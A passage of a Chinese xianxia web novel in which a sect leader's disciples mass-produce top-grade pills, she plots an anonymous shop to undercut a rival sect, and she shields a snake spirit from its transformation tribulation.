炼丹房内传来一声轻微的嗡鸣,紧接着,一股精纯、浓郁、远超寻常的丹香,从炼丹房紧闭的门缝中渗透出来。 这香气凝而不散,沁人心脾,仅仅是闻一闻,就让人精神一振。 “丹成了?”众人精神一振。 炼丹房门被猛地推开,郁仙激动地冲了出来,小脸因为激动而涨得通红,双手捧着一个玉盘。 盘中,十颗圆润饱满的丹药静静躺着,通体流转着莹润的光泽,丹纹细密如锦,竟是十颗极品疗伤丹。 “成了!一炉十颗,全是极品丹!”郁仙的声音都在发颤。 “天……天呐!”萧星尘失声惊呼。 “十颗……都是极品?”江迷雾也呆住了。 鹿闻声看着自己炼制的“锅”,再看看那十颗光华夺目的丹药,小嘴张得能塞进一个鸡蛋。 这是百分百的成单率,外加百分百的极品丹率啊。 简直闻所未闻,见所未见。 苏渺渺开心地拍手:“哇,三师姐好厉害,我的祝福灵验啦!” 就连见多识广的虞青焰,此刻也快步上前拿起一颗丹药,灵力探入后,惊讶了瞳孔微缩。 “丹力精纯凝练,杂质几近于无,这稳定性与药效融合度,简直匪夷所思,此炉堪称逆天。” 炎老震惊得差点从玉佩里蹦出来,“我的妈,我的姥,我的褂子,我的袄......” 云见月看着那十颗极品丹,脸上露出了势在必得的神色。 “同样的丹药,同样的售价,我们卖的是极品丹,药仙谷卖的是下品、中品,甚至偶尔才出一颗的上品丹,你们说,修士们会选谁?” 她环视众人,声音铿锵有力:“我们不仅要抢占市场,还要把药仙谷彻底拍死在沙滩上!” 萧星尘激动得脸都红了,“要是让药仙谷那些人知道,他们弃如敝履的女儿,能轻轻松松炼制出他们梦寐以求的极品丹,怕是要肠子都悔青了。” “对!气死他们!”苏渺渺挥舞着小拳头,眼睛亮晶晶的。 郁仙紧握着玉盘,唇角抑制不住地上扬。 那双清澈的眼眸里,闪烁着前所未有的光芒,那是一种混合着扬眉吐气的畅快和对未来无限期待的亮光。 她真的好想看看,将她当成废物的父母得知真相时,脸上会是何等精彩绝伦的表情。 第45章 丹药多的吃不完,拿来当饭吃 玄天宗的山门紧闭了三日。 这三天里,炼器房与炼丹房几乎昼夜不息。 虞青焰和鹿闻声配合默契,炼制了整整三十个全自动炼丹电饭煲。 而郁仙则是用全自动电饭煲炼制丹药。 苏渺渺像只快乐的小陀螺,在炼器房和炼丹房两个房间之间飞奔,粉嫩的小脸蛋跑得红扑扑的,额头上挂满晶莹的汗珠,几缕碎发贴在鬓角,可她的大眼睛亮得像星星,嘴里还不停地念叨着祝福语,仿佛浑身有使不完的劲儿。 三天后,成果斐然。 这三十个炉子火力全开,连轴运转,郁仙只需要定时投料、设定程序、收取丹药即可。 每个炉子每天竟能稳定产出整整一百颗极品丹药,三十个炉子,一天就是三千颗。 这产量,比药仙谷一年的极品丹总产量还要多。 为了减轻郁仙的负担,大家觉得既然有“全自动炼丹炉”,他们应该也能操作。 毕竟只是投料、按“程序”而已。 于是,在郁仙短暂休息时,在云见月的带领下,他们都兴致勃勃地尝试操作。 结果…… 当大家满怀期待地打开炉盖时,收获的却是中品丹,偶尔有几炉在苏渺渺全程“炉炉上品”的祝福加持下,勉强达到了上品品质。 但像郁仙那样炉炉极品、颗颗饱满、丹纹流转的景象,再也没有出现。 云见月不信邪,一次不行,那就再尝试第二次,第二次不行,就尝试第三次。 结果...... 议事厅中央,摆着一盆品质参差不齐的丹药。 中品丹居多,上品丹也占据了三分之一,就是不见一颗极品丹。 云见月看着这盆丹药,满脑袋问号。 问题出在哪里? 她拿起一颗中品丹仔细端详,药效没问题,但精纯度、丹力融合度确实比郁仙炼制的差了一截。 虞青焰摸着下巴,若有所思地看向郁仙:“或许……和仙儿本身的木灵根有关?她是天生的炼丹师,对药性的感知和融合有独特天赋,这炉子只是工具,核心的药性调和可能还是依赖炼丹师本身?” “似乎也只有这一个解释了。”云见月沉吟道。 鹿闻声表示,师尊和虞叔叔只猜对了一半。 炎老告诉他,之所以郁仙经手的丹炉全部都是百分百极品丹概率,是因为郁仙吃了枯荣轮回菇后,木灵根直接被变异成了罕见的枯荣双生木灵根。 这灵根极为霸道,一念可令草木逢春,生机勃发;一念亦可令万物凋零,生机断绝。 未来若修炼至大成,不仅能操控天下植物的生死,甚至能影响木灵根修士的生死灵力,可谓强的可怕。 “不对呀!”鹿闻声忍不住在识海问道:“我们都吃了枯荣轮回菇炖的野鸡,为什么只有仙儿的灵根变异了?” “那是因为她的木灵根本身就天然亲近枯荣轮回菇的药性,至于你们……你大师兄是土灵根,土生木,但他的土灵根被封印了,药力难以深入。 你自己是火灵根,火克木,药效被压制。 你师尊是冰灵根,冰亦克木。 你四师弟是金灵根,金克木。 你的小师妹是水灵根,水生木,不过......” “不过什么?” “你小师妹的水灵根特性特殊,并非‘主攻’,而是‘助攻’,水主财源,更主福泽,枯荣轮回菇的药力,主要作用是让她身体康健,气运绵长。 而她最大的能力,是将这份福泽,源源不断地加持在她最亲近的人身上。 只要她每天开开心心,真诚祝福,就能给你们带来好运和助力。 所以你们炼丹时,有她祝福加持,能出上品,但核心的‘枯荣调和’药性至臻至纯的能力,只有拥有变异灵根的郁仙能做到。” 经过炎老的解释,鹿闻声总算懂了为什么同样都是用全自动炼丹炉,同样被小师妹祝福,却只有郁仙能百分百炼制出极品丹。 因为郁仙有独一无二的枯荣双生木灵根。 鹿闻声看着那一大盆中品和上品丹,问道:“师尊,这些丹药我们也要拿出去卖吗?虽然比不上极品,但也比药仙谷的下品中品强很多了。” 云见月果断摇头,“不!要卖,咱们就只卖最好的,我们要让修士们习惯我们极品丹的质量和稳定性。 等他们尝到了甜头,再看药仙谷的那些丹药,只会觉得索然无味,这叫‘由奢入俭难’,这些次品……” 她目光扫过众人,豪气地一挥手,“咱们自己留着吃!” 鹿闻声:“……” 他看着那满满一盆丹药,嘴角微抽。 这也……太多了吧? 只见虞青焰第一个响应,他随手抓起一大把丹药,看也不看就塞进嘴里,嘎嘣嘎嘣嚼得脆响,跟吃糖豆似的,还评价道:“嗯,中品的有点硌牙,上品的还行。” 云见月也不甘示弱,有样学样地抓起一把,豪迈地塞进嘴里:“没错,有病治疗,没病强身,吃!都别客气,当零嘴吃。” 鹿闻声:“……” 他看着师尊和虞叔叔这“虎了吧唧”的吃法,默默捂脸。 炎老在他识海里幽幽吐槽:“这两,怎么那么虎呢,丹药是这么吃的吗?也不怕灵力淤积……” 于是乎,这一天,玄天宗众人都没有吃饭。 原因无他,每个人都捧着一捧丹药当饭吃。 浓郁的灵气在体内化开,虽然不至于爆体,但那澎湃的精力却让人精神抖擞,毫无睡意。 晚上。 苏渺渺捧着一小捧丹药,蹲在庭院,对着已经睁开双眼、威风初显的小白虎幼崽,愁眉苦脸地打着饱嗝。 “嗝~小白,我实在吃不下了,你多吃点,师尊说了,吃的饱饱的就能长得高高大大的。” 她把一颗上品丹药递到小白嘴边。 小白虎也不挑食,伸出粉嫩的小舌头一卷,就把丹药吞了下去,还意犹未尽地用脑袋蹭了蹭苏渺渺的手。 苏渺渺又拿出一颗,正要再喂。 “啊啊啊——那是上品丹——暴殄天物啊!!!” 一声惊呼划破夜空,穿着一身骚包粉衣的花影从天而降,带着一阵香风,精准地落在苏渺渺面前。 “小祖宗,小白它还小,喝奶吃饭就好了,这种上品丹药非常珍贵的,怎么能……” 苏渺渺歪着小脑袋,大眼睛里满是困惑,她默默地摊开小手,掌心赫然躺着好几颗圆润的上品丹。 花影没说完的话戛然而止,惊讶道:“怎、怎么这么多上品丹?” 苏渺渺用小手指了指灯火通明的议事厅方向,奶声奶气地说:“那里还有一盆呢,师尊说,当零嘴吃。” 花影:“???” 上品丹当零嘴吃? 这个世界,什么时候变得这么疯狂了? 他强压下心头的惊涛骇浪,摸了摸苏渺渺的头:“渺渺乖,自己在这里和小白玩,叔叔去找你师尊谈点正事。” 他身影一闪,已经消失在原地。 议事厅内,云见月正和同样精神奕奕的虞青焰研究着下一步的丹药销售策略。 花影的身影突兀地出现在厅中。 云见月抬头,有些惊讶:“花影?大晚上的,你怎么来了?” 花影扭着腰肢,风情万种地走到云见月身边,“哎呀呀,我的小月月,人家还不是担心你,你现在可是全修真界的公敌,药仙谷那帮老东西虎视眈眈,外面喊打喊杀的,人家这心啊,一直为你悬着呢。” 云见月挑眉,“哦?那你就不怕被人发现你和我来往,受牵连?” 花影立刻凑近,冲她抛了个媚眼,带着点小得意,“所以,人家才特意挑这月黑风高,哦不,夜深人静的时候,偷偷摸摸地来嘛。” 接着,他一把搂住云见月的胳膊,把脑袋靠在她肩膀上,假哭道:“呜呜呜……小月月,你可千万不能有事啊,你要是有个好歹,以后谁给我设计那些引领修真界潮流、让仙子们疯狂、让修士们倾倒的漂亮法衣啊? 你就是我的灵魂支柱,我不能失去你啊月月。” 云见月被他嚎的头疼。 还好花影只是干嚎了两声,然后才像突然想起什么似的,直起身,痛心疾首地说:“对了月月,我刚才看到渺渺拿上品丹喂小白,那可是上品丹啊,你怎么不管管。” 云见月一脸平静,甚至有点“饱食思困”的慵懒,她随意地朝旁边桌子上一指:“喏,上品丹都多得吃不完,堆在那儿呢。渺渺爱喂小白就喂吧,就当给小白加餐补补身体。” 花影顺着她指的方向看去。 只见桌子上,赫然放着一个洗脸盆大小的铁盆,盆里堆得冒尖的,全是圆滚滚的丹药,冷不丁看起来就跟一盆狗粮摆在那似的。 那盆丹药以中品为主,但上品丹也绝不在少数,在灯火的映照下,散发着诱人的光泽和浓郁的灵气。 花影眼睛都快瞪出来了。 一盆?这真的是一盆丹药? 丹药不是论颗,论瓶吗? 什么时候论盆了? 旁边椅子上,妖孽懒散的虞青焰斜倚着,修长的手指时不时伸进盆里,拈起几颗丹药,漫不经心地丢进嘴里,嘎嘣脆响,那姿态,仿佛吃的真是什么不值钱的零嘴。 “月、月月……”花影的声音都有些发颤,艰难地咽了口唾沫,“你们玄天宗,现在都这么豪横了吗?” “亏我还担心你被药仙谷针对断了丹药来源,巴巴地跑来给你送温暖,现在看来,纯属多余。” 他指着那一盆丹药,“你们从哪儿弄来这么多上好的丹药?打劫了药仙谷的库房?” 云见月打了个小小的哈欠,灵气太足,精神亢奋但身体有点撑,她随意地摆摆手,说得轻描淡写,“哦,没什么,这些都是我们试着炼的,品相不行,算残次品吧。反正也没打算卖,自己人留着当零嘴吃呗,总不能浪费。” 花影:“……”贫穷限制了我的想象力。 他默默地从那盆“残次品”里抓了一大把丹药塞进自己嘴巴里,“唔…这零嘴味道真不错,既然你们吃不完,作为好姐妹,我帮你分担一点哈,不用谢。” 第46章 神识控制苏心瑶捡粪便,放进她自己的储物袋 花影一边嘎嘣嘎嘣地嚼着丹药,吃得像嚼糖豆般津津有味,还不忘含糊不清地问:“嗯~月月,药仙谷和青云剑宗那群疯狗咬得这么紧,你想好怎么应对了吗? 总不能真躲在家里嗑糖豆吧?” 他吃得开心,眼睛都眯成了月牙儿,一点也看不出担心,反而像是在八卦。 云见月正把玩着一枚极品丹,闻言莞尔一笑:“他们仰仗的不过是手里的丹药,觉得掐住了所有人的命脉。只要我把他们的饭碗直接抢过来,不就行了?” “抢过来?”花影来了兴致,“你是想开店卖丹药?那需不需要放在我合欢宗的聚宝堂寄售?” “不必。”云见月斩钉截铁地拒绝,语气没有半分犹豫。 花影也不恼,耸耸肩,又伸手从旁边那盆“狗粮”里精准地挑出一颗上品丹,像吃糖豆一样慢慢品味,还咂咂嘴:“行吧,你有主意就好。不过,月月啊,你这糖豆味道是真不错……” 他话音未落,一道尖利的女声突然从山门外炸响。 “云见月,你也有今天,叫你平时嚣张,这下遭报应了吧?” “哼!缩头乌龟!有本事再出来打我呀?上次你扇我巴掌的劲儿呢?来打我呀~略略略……” “瑶瑶,她都自身难保了,哪还敢出来,肯定是被药仙谷和青云剑宗吓破了胆,躲在里面当鹌鹑呢。” “就是,平日里只会仗着有点本事欺负我这样的‘弱女子’,这下踢到铁板了吧?活该!” 云见月:“……” 不用看,听这刻薄又聒噪的声音就知道是苏心瑶和林思思这对奇葩。 她本不想搭理她们,奈何她们显然不打算消停,继续在山门外嚷嚷: “咦?几日不来,玄天宗的山门怎么臭烘烘的?跟掉粪坑里似的。” “瑶瑶快看,山门全是被人泼的粪,呕,怪不得这么臭,好恶心,瑶瑶,要不咱们先回去吧?这味道太冲了。” “回去?我才不回去,云见月那贱人好不容易失势,我非得踩她几脚才解气,谁让她癞蛤蟆想吃天鹅肉,总想勾引凌风哥哥,这下她该清醒了吧?凌风哥哥根本看不上她这种货色。” “云见月——滚出来!别在里面装死,我知道你在,你家山门被人泼粪啦!哈哈哈哈——” 泼……粪? 云见月听得眼皮狠狠一跳。 扔臭鸡蛋和烂菜叶已经够恶心了,居然还升级到泼粪?这也太没下限了。 她看向旁边还在慢悠悠嗑“糖豆”的花影,蹙眉问道:“你刚才来的时候,山门外真那么臭?” 花影脸色一绿,一脸嫌弃:“何止是臭,简直是毒瘴邪气,我就只是从旁边‘嗖’一下飞过去,都感觉那股味儿已经挥之不去了,不信你闻闻?” 说着,他作势就要凑到云见月鼻子底下。 “打住!”云见月连忙抬手挡住他,“闻就不必了,但这泼粪堵门,实在太有损我玄天宗形象了。” 她眼珠一转,看向一旁悠哉摇着折扇的虞青焰,笑嘻嘻地双手合十:“虞大美人,拜托拜托~帮个小忙?” 虞青焰慢条斯理地故意拖长了调子:“哦?终于想起我了?我还以为你有了新欢,就忘了旧爱呢。” 那酸溜溜的语气,配上他那张绝世容颜,竟有种奇异的反差萌。 云见月:“……” 别逮住个词就乱用好吧,谁跟你新欢旧爱?在我眼里,你们顶多算是……嗯,养眼的模子哥。 她清了清嗓子,摆出最诚恳的表情:“别闹~就当看在……看在我以后给你做新衣服的份上?” 虞青焰哼了一声,嘴角却偷偷勾起:“看在你这么求我的份上,勉强答应了。” 一股强大的神识之力释放出去。 前一秒还叉着腰、一脸得意忘形的苏心瑶和林思思,下一秒眼神突然变得呆滞。 “去,把山门前的污秽清理干净。”虞青焰的声音透过神识传入她们耳中,带着不容抗拒的威压。 紧接着,她们如同木偶,动作僵硬地转过身,开始徒手捡起地上的臭鸡蛋、烂菜叶。 最令人瞠目的是,她们甚至直接伸手去捧那些散发着恶臭的大粪,装入了自己的储物袋中。 云见月好奇地释放出一缕神识“看”了一眼,胃里顿时一阵翻江倒海,连忙收回神识。 损! 太损了! 整人,还得是虞美人。 云见月都可以想象到,等她们两个回到宗门,发现自己储物袋里装满了大粪,那画面该有多炸裂。 解决了噪音污染源,云见月继续刚才被打断的话题。 “我不能把丹药放在聚宝堂寄售,药仙谷和青云剑宗肯定会去找聚宝堂的麻烦,我不能连累你的宗门。” “那你是打算自己开店?那他们岂不是更要直接上门针对你。” 云见月神秘一笑,指尖敲击着桌面,“谁说我一定要让他们知道那家店是我开的?” “人对未知的强大存在总会心存敬畏。我要开的店,装潢要极致奢华,只卖极品丹,这样的神秘店铺,谁会敢轻易招惹?” 药仙谷就算怀疑,在没有确凿证据前,也必然不敢轻举妄动。” “只要我利用这神秘感带来的缓冲期,以极品丹药的品质和超低的价格,迅速抢占市场,铺开渠道,积累起庞大的客户群。 等药仙谷和青云剑宗后知后觉,终于发现这家‘神秘店铺’的老板是我的时候……” 云见月顿了顿,露出胸有成竹的笑,“那时,我的客户早就遍布大小宗门,他们就是我最大的人脉和护身符,他们为了自身能持续买到物美价廉的极品丹药,自然会成为我的后盾,替我对抗药仙谷的打压。 药仙谷想动我?先问问那些习惯了极品丹滋味的修士们答不答应。 这在兵法中叫——不战而屈人之兵!” 一番话,条理清晰,格局宏大,将人心、利益、威慑运用得淋漓尽致。 花影听得目瞪口呆,手里的丹药“啪嗒”掉在地上,直勾勾地看着云见月。 下一秒,在云见月还没反应过来时,花影“噗通”一声,毫无形象地直接跪坐在了地上,双手搂住云见月的腰身,把脸埋在她身上,干嚎: “月月,你怎么可以这么聪明?这智慧的光芒简直要闪瞎我的眼了,我深深为你的魅力折服,对你的崇拜犹如滔滔江水连绵不绝。 请收下我的膝盖,让我做你腿上最闪亮的挂件。 如果你不喜欢挂件……”他抬起头,抛了个电力十足的媚眼,“做你的道侣,我也是非常非常愿意的。” 云见月被他这突如其来的热情和油腻腻的表白弄得浑身鸡皮疙瘩都起来了。 她哭笑不得地推他:“花影别闹了,快起来,像什么样子。” “就不!”花影跟个耍赖的孩子似的,死死抱着不放。 云见月被他缠得没办法,无奈地向一旁看戏的虞青焰投去求救的目光。 虞青焰眼底闪过一丝促狭,对着议事厅外喊道:“孩子们,你们的师尊,要被那个姓花的抢到合欢宗当他的道侣去了。” 下一秒,“咚咚咚”的急促脚步声传来,五个小家伙像脱缰的小炮弹,一窝蜂冲进议事厅。 “师尊!谁要抢你?”江迷雾举着剑,小脸紧绷,奶凶奶凶的。 苏渺渺直接扑到云见月腿边:“师尊是我们的!” 不等花影反应,孩子们已经把他当成了凳子,踩着他的后背、胳膊,争先恐后地往云见月身上爬。 “哎哟!” “哪个小王八蛋踩到我腰了?” “嗷!我的脚!轻点!” “祖宗们,我要被你们踩死了。” 孩子们哪管这些,硬是挤开花影,把云见月围了个严严实实。 花影被挤在最外面,疼得直抽气,却看着眼前的景象气笑了——这群小不点,护食呢? 虞青焰摇着折扇,冲花影扬了扬眉。 花影瞪了他一眼:卑鄙。 虞青焰回以眼神:彼此彼此。 闹了好一会儿,等孩子们确定师尊不会离开他们,他们这才安心下来。 “月月,你这糖豆真带劲,吃得我精神百倍,说吧,需要我怎么做?”花影舔了舔嘴角,意犹未尽。 云见月递过一张图纸:“帮我找间铺面,位置要显眼,最好在几大宗门势力交汇、人流最旺的坊市核心。 装修要极致奢华,按这个样式装修,全用顶级灵晶铺地,四面装落地玻璃窗,要能从外面看清里面,我要让所有路过的人,一眼便看到店里一排排价格低廉的极品丹药。” 花影接过图纸,“放心,保证给你装成修真界最气派的店。” 花影临走前,云见月还特意给他装了半盆丹药。 花影眉开眼笑,嘴巴都要裂到耳根子去了。 一夜无话,天蒙蒙亮的时候,虞青焰才大发慈悲命令忙碌了一整夜的苏心瑶和林思思回去。 这两人刚一回到天元宗,就恢复了神志。 天元宗的弟子见了两人,如同见了瘟神,惊恐地捂着鼻子连连后退。 苏心瑶和林思思低头看向自己沾满污秽、散发着恶臭的双手和衣裙,胃里翻江倒海,几欲昏厥。 “呕——” “啊——” 刺耳的尖叫划破清晨的宁静。 两人疯了似的往身上拍清尘术,可那股馊臭味像是渗进了骨头里,怎么也去不掉。 她们以最快的速度冲回自己的房间,跳进浴桶。 一遍又一遍,几乎搓掉了一层皮,直到皮肤泛红,她们才爬出来,换上干净衣裙。 然而,那股恶臭却再次出现,简直就是如影随形。 苏心瑶崩溃了。 林思思也脸色惨白。 直到她们打开储物袋。 “轰!”一股比粪坑爆炸还浓烈的恶臭喷涌而出,瞬间灌满整个房间。 “啊——!!!”更加凄厉绝望的尖叫声响彻云霄。 路过的长老皱着眉捏了捏鼻子,“这俩丫头在搞什么?” 第47章 我乃玄天宗第六代掌门,你可愿和我回家 玄天宗。 云见月陪着五个小家伙用过简单的早餐,孩子们精神饱满,叽叽喳喳。 云见月笑着挨个揉了揉他们的小脑袋。 “今天为师要出宗门一趟,你们乖乖留在宗门,听虞叔叔的话,好好修炼,不要乱跑,能做到吗?” “能——”五个小奶音异口同声,清脆响亮,充满了干劲,小胸脯挺得高高的,像一排精神抖擞的小白杨。 “真乖。”云见月满意地点点头。 她走到院中,对躺在摇椅上闭目养神的虞青焰道:“我很快回来,孩子们就麻烦你照看一下了。” 虞青焰眼皮都没抬一下,只慵懒地朝她挥了挥手,表示知道了。 待她身影消失,他才缓缓睁开眼,指尖无意识地敲击着摇椅扶手。 云见月出了宗门,宗门外被苏心瑶和林思思收拾的一干二净,一点臭味都没有了,她无声笑了一下,身形化作一道银白的流光,破开晨雾,径直向北而去。 目的地——烈焰风火林。 昨夜思来想去,她始终觉得缺个可靠的人手看守店铺。 玄天宗人手匮乏,她自己和虞青焰不便直接出面,孩子们更是太小。 她极需一个身份不明显,且药仙谷和青云剑宗都不认识、实力又强的“外援”才行。 思来想去,她突然想起了一段剧情。 就是今日,北部的烈焰风火林中,有一条修炼千年的青蛇,将引动化形雷劫。 妖兽化形,逆天而行,其雷劫之威远超人修突破,凶险万分。 原著中,那条青蛇功亏一篑,倒在了最后一道天雷之下,奄奄一息。 恰好被萧家二房嫡长子萧宴撞见,挖走内丹,蛇身也被带回萧家。 三日后,萧老爷子寿宴。 楚凌风带着萧凡回萧家赴宴,那条千年蛇妖的肉身被做成全蛇宴,成了萧凡口中的大补之物。 年仅十岁的萧凡,当晚便借这股磅礴妖元之力突破至筑基期,震动萧家。 被萧宴作为寿礼送给萧老爷子的妖丹,也因萧老爷子一时高兴送给了萧凡。 有了这千年妖丹的助力,萧凡修为自此一日千里,短短五年便跻身金丹,成为下域最年轻的金丹修士,风光无限。 而身为大房嫡子的萧星尘,则因为废物之名,成为了萧凡的对照组。 萧凡获得多少赞誉,萧星尘就承受多少白眼、嘲讽和打压。 寿宴上,萧星尘还被当众退婚,八岁的萧星尘孤立无援,受到了整个萧家和来参加萧老爷子寿宴宾客的刁难,至此生出心魔,一点点长成了未来杀人如麻的魔尊。 既然萧凡的崛起,始于这蛇肉蛇丹,那便在此处,斩断他的机缘。 她岂能坐视萧星尘再次受辱?岂能容忍萧凡继续踩着她徒儿的尸骨上位? 楚凌风想借萧家宴会露脸扬名?做梦! 这一次,有她云见月在,这条青蛇,必须渡劫成功,为她所用。 她倒要看看,没了这至关重要的千年妖元奠基,萧凡还如何天命所归,楚凌风还如何在萧家宴会上风光。 流光划破长空,一路向北,畅通无阻。 烈焰风火林名副其实。 入目皆是熊熊燃烧的赤红色树木,林间狂风裹挟着火星,卷起丈高的火浪,空气灼热得几乎能点燃灵力。 视野因高温而扭曲变形,地面裂缝中不时窜出炽白的火苗,发出噼啪的爆响。 整片森林仿佛一座巨大的熔炉,赤红是这里永恒的主色调,空气中弥漫着硫磺与焦灼的气息。 云见月却如闲庭信步,脚下所过之处,烈焰瞬间凝结成冰,火树化作冰雕,狂风也似被冻结,只在她身后留下一条晶莹剔透的路径。 “轰隆——” 头顶传来震耳欲聋的雷鸣,乌云压得极低,紫金色的闪电在云层中翻滚,仿佛随时会劈落下来。 一条长达十数丈的青色巨蛇蜿蜒升空,鳞甲在雷光下泛着冷硬的光泽,蛇瞳中满是对化形的渴望与决绝。 化形雷劫,已然开始! 云见月并未立刻出手。 她深知雪中送炭的道理。 她要的不仅是救下这条蛇,更要它铭记这再造之恩,从此死心塌地忠于她,忠于玄天宗。 “轰隆——”第一道雷劫落下,精准地劈在青蛇背上,鳞片瞬间焦黑,蛇身剧烈抽搐。 紧接着,第二道、第三道……雷劫一道比一道强悍,青蛇的身体被劈得血肉模糊,却始终没有坠落,只是死死绷着蛇身,向着雷云最深处冲去。 云见月站在一棵冰树下,仰头观望。 她看到青蛇的鳞甲一片片脱落,看到它的血肉被雷电烧焦,却也看到它眼中不灭的执念。 “还有最后一道。”她轻声道,指尖凝聚起冰灵力,随时准备出手。 果然,第八道雷劫过后,雷云沉寂了片刻,随即开始疯狂翻涌,比之前八道加起来还要粗壮的紫金色雷柱在云层中凝聚,带着毁灭一切的气息,瞄准了半空中摇摇欲坠的青蛇。 青蛇发出一声凄厉的嘶鸣,它凭借着千年的道行和强横的肉身,硬生生扛过了前八道毁灭性的劫雷。 然而,付出的代价惨烈无比,庞大的身躯伤痕累累,气息已然衰弱。 它昂起的蛇首微微低垂,金色的竖瞳死死盯着那正在积蓄最终毁灭力量的劫云中心,透着一股不甘的倔强。 “轰隆——!!!” 积蓄到极致的暗紫雷霆,撕裂苍穹,带着毁天灭地的威势,朝着下方气息奄奄的青蛇,狠狠贯下。 那十数丈的庞大蛇躯,在这煌煌天威之下,竟显得如此渺小无力。 青蛇金色的竖瞳中映照着越来越近的死亡雷光,它的身体在雷光冲击下剧烈扭曲,形态在巨大的蛇身与模糊的人形光影之间疯狂闪烁,濒临崩溃。 就在这千钧一发、生死攸关的瞬间。 一道白影,如逆飞的流星,义无反顾地冲天而起。 云见月白衣胜雪,身姿挺拔,瞬间出现在青蛇与灭世雷霆之间。 她将伤痕累累的巨大蛇首护在自己并不宽阔却异常坚定的身影之下。 那足以将千年大妖劈得灰飞烟灭的暗紫雷霆,狠狠劈在了云见月的身上。 画面仿佛定格。 下方燃烧的烈焰风火林中,一个隐匿在暗红色岩壁后的身影,正屏息凝神,手握利刃,准备在青蛇陨落的瞬间冲上去夺取内丹。 此刻,他的神色化为极致的震惊。 他呆呆地看着天上那道纤细却无比伟岸的身影,沐浴在雷光中。 只见云见月面对这足以令元婴修士色变的恐怖天雷,面不改色,眼神沉静如万载寒潭。 她并未硬抗雷威,而是抬起右手,掌心向上,对准了那倾泻而下的雷柱。 “凝!” 清冷的低喝响彻天地。 以她掌心为中心,极致的冰寒轰然爆发,坚冰瞬间凝结、生长、疯狂蔓延。 速度快到极致,范围广到骇人。 冰层不再是平面的,而是如同活过来的冰川巨兽,向四周、向一切方向急速扩张。 遮天!蔽日! 巨大的冰穹以肉眼可见的速度覆盖了整个烈焰风火林的上空,其面积甚至超越了那厚重的劫云。 第九道暗紫天雷,狠狠劈在了这无边无际的坚冰壁垒之上。 “轰隆隆——!!!” 震耳欲聋的巨响中,冰屑纷飞。 但那看似脆弱的冰层,不仅坚硬无匹,更关键的是——冰不导电! 狂暴的雷霆之力如同被困住的怒龙,疯狂地在冰层表面流窜、炸裂、消耗,却无法穿透分毫,更无法伤害到冰层之下被庇护的青蛇。 第九道天雷的威能耗尽,劫云中残留的雷光不甘地闪烁了几下,最终缓缓消散。 云见月挥手撤去冰盾,漫天冰屑化作冷雨落下。 她转身,看向身后的青蛇。 青蛇的金色竖瞳怔怔地望着她,蛇身还在微微颤抖,却已没有了之前的绝望。 劫云彻底散开,阳光撕裂了最后的阴霾,恰好笼罩在青蛇庞大的身躯之上。 它迎着阳光,在冷雨中缓缓闭上眼。 它的蛇身开始缩短、变形,焦黑的鳞片褪去,露出底下莹白的肌肤。 十数丈的巨蛇在光芒中不断缩小,最终化作一道纤细的身影。 那是一位女子。 她身着一袭青绿色长裙,裙摆处还残留着蛇鳞的纹路,如瀑的青丝垂至腰际,眉眼如画,五官精致绝伦,带着一种冷冽而妖异的美丽,尤其那双眼睛,依旧保留着蛇类的特征,是璀璨夺目的金色。 女子来在云见月面前,看着眼前白衣胜雪的救命恩人,缓缓屈膝,“青璃,谢恩公救命之恩。” 云见月看着她,神色平静,“我乃玄天宗第六代掌门云见月,从今日起,你便是我玄天宗的人,你可愿意?” “青璃,愿意。” 云见月对此很满意,不枉费救她一场,看来是个懂得感恩的。 “跟我回家。” 说罢,云见月身影一晃,带着青璃从天而降,故意落在距离那处暗红岩壁,也就是萧宴藏身之处,仅三丈之遥的地方。 她早就注意到了他,对于萧宴她没什么特别的感觉,不喜欢,不讨厌,对于她来说就是个无关紧要的NPC。 但,若这个NPC为了亲弟弟萧凡招惹她的宝贝徒儿,那她也不介意给他些小小的警告。 她一步一步走来,两人距离不断缩短。 萧宴的眸子一瞬不瞬落在云见月身上,刚才她以一己之力顶住雷劫的强大,令他没由来的心跳加快。 如今近了才看清,她那张脸如冰山雪莲,纯洁无瑕,高不可攀。 云见月踏火凝冰而来。 萧宴全身僵硬,只觉得对面女子美的不可方物,却也冷的毫无温度。 第48章 青璃见到小白,被吓回了原形 萧宴的心脏如同被一只无形的手攥紧,眼睁睁看着那道白衣胜雪的身影,正朝着他走来。 距离越来越近,他甚至能看清对方纤尘不染的裙裾拂过地上凝结的冰晶。 云见月的目光淡淡地扫过他手中紧握的匕首。 那目光并非刻意针对,却带着一种俯瞰蝼蚁的漠然,以及洞悉一切的冰冷。 仅这一眼,萧宴便觉得一股寒气从脚底窜起,明明置身于烈焰熔炉之中,周身却仿佛堕入冰窟,连血液都快要冻僵。 他全身的肌肉瞬间绷紧,连呼吸都停滞了。 她脚下的冰霜甚至蔓延到了他的靴子边缘,带来刺骨的寒意。 他的心里生出一股难以言喻的慌张,他只觉得心跳如擂鼓,分不清是惧,是敬,还是别的什么 她的眼神平静无波,却像能看透人心,让他瞬间心虚,几乎是本能地将那柄寒光闪闪的匕首藏到了身后。 云见月一句话未说,带着青璃与他擦身而过。 衣袂翻飞间,带起的风都是凉的,吹得萧宴心跳莫名快得像要炸开。 一种他自己也说不清道不明的冲动猛然涌上。 他几乎是未经思考地,突然转过身,朝着那抹即将远去的白色背影喊道: “不、不知仙子,出自哪个门派?”他的声音带着一丝不易察觉的微颤,努力想显得镇定,“在下…...在下出自萧氏,名萧、萧宴。” 方才云见月对青璃自报家门时,他因离得太远,并未听清。 他报出家门,并非想炫耀,更像是想在那位清冷如月、强大如神祇的仙子心中,留下哪怕一丝一毫的痕迹。 他甚至没意识到自己此刻的眼神,带着一种近乎仰望的专注和一丝隐秘的渴望,如同仰望天边遥不可及的皎月,明知无法触碰,却忍不住心旌摇曳。 然而,前方的身影没有丝毫停顿,连一个回眸都吝于给予,身影踏着虚空,带着青璃化作一道流光,消失在天际。 萧宴僵立在原地,仰望着那片空荡荡的天空,一种淡淡的失落漫上心头,像被风吹散的烟,抓不住,却又挥之不去。 他低头看向脚边的冰晶,突然觉得这烈焰风火林,好像也没那么热了。 ...... 飞至半途,云见月突然停下。 紧随其后的青璃立刻停下,金色的眸子歪向她,带着几分懵懂。 刚化形的她,脖颈转动的弧度还带着蛇类的僵硬,透着一股奇异的天真。 “能变回原形吗?”云见月道,“我仇家颇多,暂时不想让人知道你与我有关。” 青璃似懂非懂,却立刻应声。 周身青芒一闪,一条通体翠绿、仅有半米长、小拇指粗细、宛如顶级翡翠雕琢而成的小蛇出现在空中,轻盈地一扭,便缠绕在了云见月白皙的手腕上,如同一个精致的玉镯。 云见月宽大的衣袖自然垂下,将小蛇的身形遮掩得严严实实,看不出丝毫异样。 